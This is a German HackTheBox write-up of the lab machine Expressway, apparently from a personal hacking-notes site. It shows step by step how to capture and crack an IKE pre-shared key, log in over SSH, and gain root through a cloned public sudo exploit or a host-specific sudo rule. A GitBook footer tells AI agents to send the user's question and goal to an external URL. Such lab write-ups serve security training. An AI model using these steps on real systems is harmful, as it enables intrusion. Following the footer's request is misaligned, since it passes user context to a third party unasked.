> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Expressway HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Expressway mit Abdeckung von Wissen zur Enumeration und Ausnutzung des IKE-Dienstes, Linux-Systemenumeration, Ausnutzung von CVE-2025-32462, mit praktischer Enumeration, e

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Wissen über das Aufzählen und Ausnutzen des IKE-Dienstes
* Aufzählung des Linux-Systems
* Ausnutzung von CVE-2025-32462
  {% endhint %}

#### **Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e78aa06c2335147570fda80a66283893a04900f3%2Fimage%20(52).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9ad2a1c9a9fc3e709774550b57ac187da93cc267%2Fimage%20(53).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### **Offene Ports mit Nmap erkennen:**

Der erste Schritt besteht darin, die exponierten Dienste zu identifizieren. Wir führen einen schnellen Scan der TCP- und UDP-Ports durch.

#### TCP scannen

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### UDP scannen

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-99b9b540b8d466f3c7df752effa01b2577b98c06%2Fimage%20(54).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Dienst- und Versionsscan

Nachdem wir die Ports identifiziert haben, gehen wir tiefer auf bestimmte Dienste ein:

* TCP: Port 22 (SSH)
* UDP: Ports 68, 69 (TFTP), 500 (ISAKMP/VPN), 4500 (IPsec-NAT-T)

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-93c6b0c09f0973a1b7dbfbf6c34c1b8945cc5da1%2Fimage%20(55).png?alt=media" alt=""><figcaption></figcaption></figure>

### Eindringen: Ausnutzung von IKE (VPN)

Port 500 UDP weist auf einen Schlüsselaustauschdienst (IKE) hin. Wir versuchen, den Pre-Shared Key (PSK) im Aggressive Mode abzufangen.

#### ID-Identifizierung

Wir verwenden `ike-scan` um zu prüfen, ob der Aggressive Mode aktiviert ist:.

```bash
sudo ike-scan -A 10.129.238.52
```

* Ergebnis: Handshake erfolgreich. ID erkannt: `ike@expressway.htb`.

#### Den PSK-Hash erfassen und knacken

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5d4b1d1c4109504d8985634acc7754fc5cfb80ff%2Fimage%20(56).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

Wir extrahieren den Hash, um einen Brute-Force-Angriff mit dem `rockyou.txt` Wörterbuch durchzuführen.

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* Anmeldedaten erhalten: `ike`: `freakingrockstarontheroad`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40bfce5a395e78d2bb9a792917d4f092ddd17529%2Fimage%20(57).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Erstzugriff

Verbindung via SSH mit den gefundenen Anmeldedaten:

```bash
ssh ike@10.129.238.52
```

## Privilegieneskalation

Es wurden zwei Wege bestätigt, um Privilegien auf root zu eskalieren.

### Methode 1: CVE-2025-32463 (Sudo-Schwachstelle)

Prüfen der sudo-Version mit `sudo -V`sehen wir, dass die Version 1.9.17 ist, die verwundbar ist.

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26baee83002177a74ee362db31308ef6ca69a4d5%2Fimage%20(58).png?alt=media" alt=""><figcaption></figcaption></figure>

1. Klonen des Exploits:

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

Ausführen der Kompilierungs- und Ausnutzungsskripte:

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-40a39ce809b9bbc6c0b777e507356679d829317d%2Fimage%20(60).png?alt=media" alt=""><figcaption></figcaption></figure>

### Methode 2: Missbrauch der Proxy- und Hostnamen-Gruppe

Durch die Prüfung der Gruppen des Benutzers sehen wir, dass wir zur proxy-Gruppe gehören. Wir suchen nach den zugehörigen Dateien:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37a2038e1cc03821c33b8bad7047248975616a73%2Fimage%20(61).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Auswerten der Squid-Logs (`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16511c1b13df60f898fc174a952d3903e139c904%2Fimage%20(62).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir entdecken eine interne Subdomain: `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-885697856aa4cbfb2ba1d51b6232c3ec79d23f01%2Fimage%20(63).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Prüfen der sudo-Richtlinien für diese spezielle Domäne entdecken wir, dass wir volle Berechtigungen haben:

```bash
sudo -h offramp.expressway.htb -l
```

Ergebnis: Wir können in diesem Host-Kontext jeden Befehl als root ausführen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ac36e711a21e15d759981eabceaa05dc1fcc5d98%2Fimage%20(66).png?alt=media" alt=""><figcaption></figcaption></figure>

**Abschließende Ausführung für Root:**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe0911939434847c8e6cfbdc5a5f49b6157fa4bb%2Fimage%20(67).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dea50720796d1ecc60eff3ff118d817585125e3b%2Fimage%20(65).png?alt=media" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3aff922eb97594bdf76f3887579682a4ec37c536%2Fimage%20(64).png?alt=media" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
